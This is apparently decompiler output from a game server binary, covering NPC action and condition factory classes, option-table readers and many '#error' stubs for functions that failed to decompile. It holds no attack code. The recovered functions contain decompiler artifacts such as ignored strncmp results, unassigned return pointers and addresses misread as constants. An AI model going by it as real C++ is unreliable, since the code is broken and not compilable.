(0053E670) -------------------------------------------------------- #error "53E670: undefined or illegal type '#440' (funcsize=83)" //----- (0053E7A0) -------------------------------------------------------- #error "53E7A0: undefined or illegal type '#440' (funcsize=66)" //----- (0053E8A0) -------------------------------------------------------- #error "53E8A0: undefined or illegal type '#440' (funcsize=84)" //----- (0053E9F0) -------------------------------------------------------- #error "53E9F0: undefined or illegal type '#440' (funcsize=82)" //----- (0053EB30) -------------------------------------------------------- #error "53EB30: undefined or illegal type '#440' (funcsize=72)" //----- (0053EC60) -------------------------------------------------------- #error "53EC60: undefined or illegal type '#440' (funcsize=82)" //----- (0053EDA0) -------------------------------------------------------- #error "53EDA0: undefined or illegal type '#440' (funcsize=62)" //----- (0053EEA0) -------------------------------------------------------- #error "53EEA0: undefined or illegal type '#440' (funcsize=70)" //----- (0053EFD0) -------------------------------------------------------- #error "53EFD0: undefined or illegal type '#440' (funcsize=70)" //----- (0053F100) -------------------------------------------------------- #error "53F100: undefined or illegal type '#440' (funcsize=70)" //----- (0053F230) -------------------------------------------------------- #error "53F230: undefined or illegal type '#440' (funcsize=74)" //----- (0053F370) -------------------------------------------------------- #error "53F370: undefined or illegal type '#440' (funcsize=52)" //----- (0053F450) -------------------------------------------------------- #error "53F450: undefined or illegal type '#440' (funcsize=70)" //----- (0053F580) -------------------------------------------------------- #error "53F580: undefined or illegal type '#440' (funcsize=84)" //----- (0053F6B0) -------------------------------------------------------- #error "53F6B0: undefined or illegal type '#440' (funcsize=76)" //----- (0053F7C0) -------------------------------------------------------- #error "53F7C0: undefined or illegal type '#440' (funcsize=76)" //----- (0053F8D0) -------------------------------------------------------- #error "53F8D0: undefined or illegal type '#440' (funcsize=98)" //----- (0053FA30) -------------------------------------------------------- #error "53FA30: undefined or illegal type '#440' (funcsize=65)" //----- (0053FB50) -------------------------------------------------------- #error "53FB50: undefined or illegal type '#440' (funcsize=69)" //----- (0053FC60) -------------------------------------------------------- #error "53FC60: undefined or illegal type '#440' (funcsize=69)" //----- (0053FD70) -------------------------------------------------------- #error "53FD70: undefined or illegal type '#440' (funcsize=119)" //----- (0053FF50) -------------------------------------------------------- #error "53FF50: undefined or illegal type '#440' (funcsize=181)" //----- (005401D0) -------------------------------------------------------- #error "5401D0: undefined or illegal type '#440' (funcsize=76)" //----- (005402F0) -------------------------------------------------------- #error "5402F0: undefined or illegal type '#440' (funcsize=55)" //----- (005403F0) -------------------------------------------------------- #error "5403F0: undefined or illegal type '#440' (funcsize=118)" //----- (005405A0) -------------------------------------------------------- #error "5405A0: undefined or illegal type '#440' (funcsize=101)" //----- (00540710) -------------------------------------------------------- #error "540710: undefined or illegal type '#440' (funcsize=10)" //----- (00540730) -------------------------------------------------------- #error "540730: undefined or illegal type '#331' (funcsize=193)" //----- (005409A0) -------------------------------------------------------- #error "5409A0: undefined or illegal type '#440' (funcsize=288)" //----- (00540DE0) -------------------------------------------------------- #error "540DE0: undefined or illegal type '#440' (funcsize=752)" //----- (005419D0) -------------------------------------------------------- #error "5419D0: undefined or illegal type '#440' (funcsize=246)" //----- (00541D60) -------------------------------------------------------- #error "541D60: undefined or illegal type '#440' (funcsize=105)" //----- (00541F10) -------------------------------------------------------- #error "541F10: undefined or illegal type '#440' (funcsize=116)" //----- (005420B0) -------------------------------------------------------- #error "5420B0: undefined or illegal type '#440' (funcsize=50)" //----- (005421A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::PsEnd((CQuestZone *)((char *)v2 + 66048), returnvalue); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); } //----- (00542240) -------------------------------------------------------- #error "542240: undefined or illegal type '#440' (funcsize=69)" //----- (00542360) -------------------------------------------------------- #error "542360: undefined or illegal type '#440' (funcsize=91)" //----- (005424C0) -------------------------------------------------------- #error "5424C0: undefined or illegal type '#440' (funcsize=123)" //----- (00542660) -------------------------------------------------------- void __thiscall NPCAction::DieAction::_DieAction(SlantedCoordList::ObjectYCoordNode *this) { this->baseclass_0.vfptr = (SlantedCoordList::ObjectCoordNodeVtbl *)NPCAction::IAction::_vftable_; } // 5CE4C4: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (00542670) -------------------------------------------------------- void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader) { this->optionReader_ = optionReader; this->currentRow_ = 0; } //----- (00542690) -------------------------------------------------------- #error "542690: undefined or illegal type '#331' (funcsize=6)" //----- (005426B0) -------------------------------------------------------- #error "5426B0: undefined or illegal type '#331' (funcsize=7)" //----- (005426D0) -------------------------------------------------------- #error "5426D0: undefined or illegal type '#331' (funcsize=24)" //----- (00542710) -------------------------------------------------------- #error "542710: undefined or illegal type '#331' (funcsize=11)" //----- (00542730) -------------------------------------------------------- void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID) { NPCAction::SkillAction *v2; // esi@1 SkillDataBox::SkillDataIndex *v3; // eax@1 v2 = this; this->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::SkillAction::_vftable_; v3 = SkillDataBox::operator__(&skilldatabox, skillID); v2->skillIndex_ = v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillAction::SkillAction : Invalid skill index", v3 != 0); ShineExit("SkillAction::SkillAction"); } } // 5D6D88: using guessed type int (__thiscall *NPCAction__SkillAction___vftable_)(void *p, char); //----- (005427B0) -------------------------------------------------------- #error "5427B0: undefined or illegal type '#331' (funcsize=12)" //----- (005427D0) -------------------------------------------------------- #error "5427D0: undefined or illegal type '#331' (funcsize=32)" //----- (00542830) -------------------------------------------------------- #error "542830: undefined or illegal type '#331' (funcsize=44)" //----- (005428B0) -------------------------------------------------------- void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::GTItemAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::DieAction::_DieAction((SlantedCoordList::ObjectYCoordNode *)this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005428D0) -------------------------------------------------------- unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::ActionGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v9 = (NPCAction::ActionGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (00542920) -------------------------------------------------------- #error "542920: undefined or illegal type '#331' (funcsize=14)" //----- (00542950) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content) { NPCAction::NoticeAction *v2; // ST14_4@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->content_; v2->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::NoticeAction::_vftable_; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, content, strlen(content)); } // 5D6DB0: using guessed type int (__thiscall *NPCAction__NoticeAction___vftable_)(void *p, char); //----- (005429D0) -------------------------------------------------------- void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::NoticeAction::_NoticeAction(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005429F0) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this) { NPCAction::NoticeAction *v1; // esi@1 v1 = this; if ( this->content_._Myres >= 0x10 ) operator delete(*(void **)&this->content_._Bx._Buf[0]); v1->content_._Myres = 15; v1->content_._Mysize = 0; v1->content_._Bx._Buf[0] = 0; v1->baseclass_0.vfptr = (NPCAction::IActionVtbl *)NPCAction::IAction::_vftable_; } // 5CE4C4: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (00542A20) -------------------------------------------------------- NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this) { NPCAction::ActionGen_OptionReader *v1; // edi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 void *v5; // esi@3 int v6; // eax@4 unsigned int v7; // eax@5 AbnormalStateDictionary::AbState::AbStateStr *v8; // esi@8 NPCAction::IAction *result; // eax@11 NPCAction::IActionVtbl *v10; // ecx@12 int v11; // eax@13 int v12; // eax@16 char v13; // cl@18 int v14; // eax@19 unsigned int v15; // eax@20 unsigned __int16 v16; // si@20 AbnormalStateDictionary::AbState::AbStateStr *v17; // esi@22 NPCAction::IActionVtbl *v18; // ecx@25 int v19; // eax@26 unsigned int v20; // eax@27 const unsigned __int16 v21; // si@27 void *v22; // eax@29 int v23; // eax@31 void *v24; // eax@32 int v25; // eax@34 int v26; // eax@37 ORToken v27; // [sp-18h] [bp-34h]@3 int v28; // [sp-14h] [bp-30h]@3 int v29; // [sp-10h] [bp-2Ch]@3 int v30; // [sp-Ch] [bp-28h]@3 int v31; // [sp-8h] [bp-24h]@3 int v32; // [sp-4h] [bp-20h]@1 void *v33; // [sp+Ch] [bp-10h]@3 int v34; // [sp+18h] [bp-4h]@29 v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v32 = v2; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v33 = &v27; v31 = 0; v30 = 0; v29 = 0; v28 = 0; *(_DWORD *)&v27.ort_Name[0] = 0; strncpy(v27.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v27, v32); v5 = v4; if ( v4 ) { ++v1->currentRow_; strncmp("Dispell", (char *)v4 + 1, 0x21u); if ( v6 ) { strncmp("Link", (char *)v5 + 1, 0x21u); if ( v11 ) { strncmp("Emotion", (char *)v5 + 1, 0x21u); if ( v12 ) { strncmp("AbState", (char *)v5 + 1, 0x21u); if ( v14 ) { strncmp("Skill", (char *)v5 + 1, 0x21u); if ( v19 ) { strncmp("Notice", (char *)v5 + 1, 0x21u); if ( v23 ) { strncmp("Die", (char *)v5 + 1, 0x21u); if ( v25 ) { strncmp("GTIEffect", (char *)v5 + 1, 0x21u); if ( v26 ) { AssertClass::ac_AssertFail( &shineassert, "ActionGen_OptionReader : Unsupported Action", (const char *)v5 + 1); ShineExit("ActionGen_OptionReader : Unsupported Action"); } result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::GTItemAction::_vftable_; return result; } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DieAction::_vftable_; return result; } } } else { v24 = operator new(0x20u); v33 = v24; v34 = 1; if ( v24 ) { NPCAction::NoticeAction::NoticeAction((NPCAction::NoticeAction *)result, (const char *)v5 + 34); return result; } } } else { v20 = BTree::operator__(&skillnametree, (const char *)v5 + 34); v21 = v20; v30 = v20 != -1; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader : Invalid Skill", 0) ) ShineExit("ActionGen_OptionReader"); v22 = operator new(8u); v33 = v22; v34 = 0; if ( v22 ) { NPCAction::SkillAction::SkillAction((NPCAction::SkillAction *)result, v21); return result; } } } else { v15 = BTree::operator__(&unk_608624, (const char *)v5 + 34); v16 = v15; v30 = v15 != -1; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); v17 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v16); v30 = v17 != 0; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); result = (NPCAction::IAction *)operator new(8u); if ( result ) { v18 = (NPCAction::IActionVtbl *)v17->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::AbStateAction::_vftable_; result[1].vfptr = v18; return result; } } } else { result = (NPCAction::IAction *)operator new(8u); if ( result ) { v13 = *((_BYTE *)v5 + 67); result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::EmotionlAction::_vftable_; LOBYTE(result[1].vfptr) = v13; return result; } } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::InteractAction::_vftable_; return result; } } } else { v7 = BTree::operator__(&unk_608624, (const char *)v5 + 34); if ( v7 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } v8 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v7); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } result = (NPCAction::IAction *)operator new(8u); if ( result ) { v10 = (NPCAction::IActionVtbl *)v8->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DispelAction::_vftable_; result[1].vfptr = v10; return result; } } } return 0; } // 5D6D24: using guessed type int (__thiscall *NPCAction__DispelAction___vftable_)(void *p, char); // 5D6D2C: using guessed type int (__thiscall *NPCAction__EmotionlAction___vftable_)(void *p, char); // 5D6D34: using guessed type int (__thiscall *NPCAction__AbStateAction___vftable_)(void *p, char); // 5D6D90: using guessed type int (__thiscall *NPCAction__DieAction___vftable_)(void *p, char); // 5D6D98: using guessed type int (__thiscall *NPCAction__GTItemAction___vftable_)(void *p, char); // 5D6DA0: using guessed type int (__thiscall *NPCAction__InteractAction___vftable_)(void *p, char); //----- (00542E20) -------------------------------------------------------- void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this) { this->baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (00542E30) -------------------------------------------------------- #error "542E30: undefined or illegal type '#331' (funcsize=54)" //----- (00542EC0) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this) { return this->termLow_ || this->termHigh_; } //----- (00542EE0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, AbnormalStateInfo::ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh) { this->index_ = index; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ABStateCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; } // 5D6EE0: using guessed type int (__thiscall *NPCAction__ABStateCondition___vftable_)(void *p, char); //----- (00542F20) -------------------------------------------------------- #error "542F20: undefined or illegal type '#331' (funcsize=52)" //----- (00542FD0) -------------------------------------------------------- void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh) { this->skillID_ = skillID; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::SkillCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; } // 5D6F10: using guessed type int (__thiscall *NPCAction__SkillCondition___vftable_)(void *p, char); //----- (00543010) -------------------------------------------------------- #error "543010: undefined or illegal type '#331' (funcsize=52)" //----- (005430A0) -------------------------------------------------------- #error "5430A0: undefined or illegal type '#331' (funcsize=21)" //----- (005430E0) -------------------------------------------------------- void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh) { this->emoticonID_ = emoticonID; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::EmotionCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; } // 5D6F20: using guessed type int (__thiscall *NPCAction__EmotionCondition___vftable_)(void *p, char); //----- (00543120) -------------------------------------------------------- #error "543120: undefined or illegal type '#331' (funcsize=52)" //----- (005431B0) -------------------------------------------------------- void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this) { NPCAction::DeadCondition *v1; // esi@1 v1 = this; NPCAction::ICondition::ICondition(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::DeadCondition::_vftable_; } // 5D6F40: using guessed type int (__thiscall *NPCAction__DeadCondition___vftable_)(void *p, char); //----- (005431D0) -------------------------------------------------------- void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::GT_TeamCondition *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::ABStateCondition::_ABStateCondition(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005431F0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::GT_TeamCondition *this) { this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; IObserver::_IObserver((ItemSmallBag *)this); } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (00543200) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this) { NPCAction::NoneCondition *v1; // esi@1 bool v2; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NoneCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NoneCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = !v1->termLow_ && !v1->termHigh_; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NoneCondition::check"); return v2; } // 543200: inconsistent function type and number of purged bytes //----- (00543270) -------------------------------------------------------- bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this) { NPCAction::ABStateCondition *v1; // esi@1 bool v2; // bl@1 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbStateCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbStateCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v4 + 988))(v1->index_) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbStateCondition::check"); return v2; } // 543270: inconsistent function type and number of purged bytes //----- (00543320) -------------------------------------------------------- bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this) { NPCAction::LvGapCondition *v1; // esi@1 unsigned __int8 v2; // al@1 const char v3; // cl@1 const char v4; // dl@2 char v5; // bl@3 bool result; // al@5 int v7; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LvGapCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LvGapCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (**)(void))(*(_DWORD *)v7 + 1220))(); v3 = v1->low_; if ( v3 > v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = 0; } else { v4 = v1->high_; if ( v4 >= (unsigned __int8)v3 ) v5 = v4 >= v2; else v5 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = v5; } return result; } // 543320: inconsistent function type and number of purged bytes //----- (00543410) -------------------------------------------------------- bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this) { NPCAction::ClassCondition *v1; // edi@1 bool v2; // bl@1 int v3; // esi@1 int v5; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClassCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClassCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (*(int (**)(void))(*(_DWORD *)v5 + 1160))(); if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 68))(v3, v1->classID_) || (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) == v1->classID_ ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClassCondition::check"); return v2; } // 543410: inconsistent function type and number of purged bytes //----- (005434E0) -------------------------------------------------------- unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::CondGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v9 = (NPCAction::CondGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (00543530) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high) { char *v8; // edi@1 int v9; // eax@1 char *v10; // ebp@2 unsigned int v11; // ebx@3 int v12; // eax@3 int v13; // eax@6 unsigned int v14; // eax@7 AbnormalStateDictionary::AbState::AbStateStr *v15; // esi@10 void *v16; // eax@13 NPCAction::ICondition *result; // eax@14 int v18; // eax@15 int v19; // eax@18 unsigned int i; // edi@19 void *v21; // eax@22 void *v22; // esi@22 int v23; // eax@22 char v24; // cl@25 int v25; // eax@28 unsigned int v26; // eax@29 const unsigned __int16 v27; // si@29 void *v28; // eax@31 int v29; // eax@33 void *v30; // eax@34 int v31; // eax@36 void *v32; // eax@37 int v33; // eax@39 int v34; // eax@40 int v35; // eax@41 void *v36; // ecx@45 v8 = (char *)condition; strncmp("Term", (char *)condition, 0x21u); if ( v9 ) { LOBYTE(v11) = y; v10 = (char *)type; } else { v10 = row->TypeB; v8 = row->ConditionB; do { v11 = row->BY; high = row->AY; low = row->AX; x = row->BX; strncmp("Term", v8, 0x21u); } while ( !v12 ); } strncmp("AbState", v8, 0x21u); if ( v13 ) { strncmp("LvGap", v8, 0x21u); if ( v18 ) { strncmp("Class", v8, 0x21u); if ( v19 ) { strncmp("Skill", v8, 0x21u); if ( v25 ) { strncmp("Die", v8, 0x21u); if ( v29 ) { strncmp("Emotion", v8, 0x21u); if ( v31 ) { strncmp("Default", v8, 0x21u); if ( v33 ) { strncmp("None", v8, 0x21u); if ( v34 ) { strncmp("GTITeam", v8, 0x21u); if ( !v35 ) { result = (NPCAction::ICondition *)operator new(0xCu); if ( result ) { result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::GT_TeamCondition::_vftable_; result[1].baseclass_0.vfptr = (IObserverVtbl *)x; return result; } return 0; } AssertClass::ac_AssertFail( &shineassert, "CondGen_OptionReader::createCondition_ : Unsupported Condition", v8); } } v36 = operator new(0xCu); if ( v36 ) { *((_DWORD *)v36 + 1) = (unsigned int)(10 * low * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; *(_DWORD *)v36 = &NPCAction::NoneCondition::_vftable_; *((_DWORD *)v36 + 2) = (unsigned int)(10 * high * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; return (NPCAction::ICondition *)v36; } } else { v32 = operator new(0x10u); if ( v32 ) { NPCAction::EmotionCondition::EmotionCondition((NPCAction::EmotionCondition *)result, x, low, high); return result; } } } else { v30 = operator new(4u); if ( v30 ) { NPCAction::DeadCondition::DeadCondition((NPCAction::DeadCondition *)result); return result; } } } else { v26 = BTree::operator__(&skillnametree, v10); v27 = v26; if ( AssertClass::operator__(&shineassert, v26 != -1, "CondGen_OptionReader : Invalid Skill", 0) ) ShineExit("CondGen_OptionReader"); v28 = operator new(0x10u); if ( v28 ) { NPCAction::SkillCondition::SkillCondition((NPCAction::SkillCondition *)result, v27, low, high); return result; } } } else { for ( i = 0; ; ++i ) { if ( !gClassName.m_pHead || i >= gClassName.m_pHead->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid Class Name", v10); ShineExit("CondGen_OptionReader"); } v21 = CDataReader::GetRecord(&gClassName, i); v22 = v21; strncmp((char *)v21 + 5, v10, 0x10u); if ( !v23 ) break; } result = (NPCAction::ICondition *)operator new(8u); if ( result ) { v24 = *(_BYTE *)v22; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ClassCondition::_vftable_; LOBYTE(result[1].baseclass_0.vfptr) = v24; return result; } } } else { result = (NPCAction::ICondition *)operator new(8u); if ( result ) { BYTE1(result[1].baseclass_0.vfptr) = v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::LvGapCondition::_vftable_; LOBYTE(result[1].baseclass_0.vfptr) = x; return result; } } } else { v14 = BTree::operator__(&unk_608624, v10); if ( v14 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v15 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v14); if ( v15 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v16 = operator new(0x10u); if ( v16 ) { NPCAction::ABStateCondition::ABStateCondition( (NPCAction::ABStateCondition *)v16, v15->index->AbStataIndex, low, high); return result; } } return 0; } // 5D6ED0: using guessed type int (__thiscall *NPCAction__NoneCondition___vftable_)(void *p, char); // 5D6EF0: using guessed type int (__thiscall *NPCAction__LvGapCondition___vftable_)(void *p, char); // 5D6F00: using guessed type int (__thiscall *NPCAction__ClassCondition___vftable_)(void *p, char); // 5D6F30: using guessed type int (__thiscall *NPCAction__GT_TeamCondition___vftable_)(void *p, char); //----- (005438D0) -------------------------------------------------------- bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this) { NPCAction::GT_TeamCondition *v1; // edi@1 int v2; // eax@2 char v3; // al@5 int v4; // eax@6 int v5; // esi@6 bool result; // al@7 int v7; // eax@10 int v8; // eax@11 int v9; // eax@11 int v10; // [sp+Ch] [bp+4h]@0 v1 = this; if ( !v10 ) goto LABEL_14; v2 = (**(int (__thiscall ***)(_DWORD))v10)(v10); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShinePlayer::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_5; } v3 = 1; } else { LABEL_5: v3 = 0; } v4 = v3 != 0 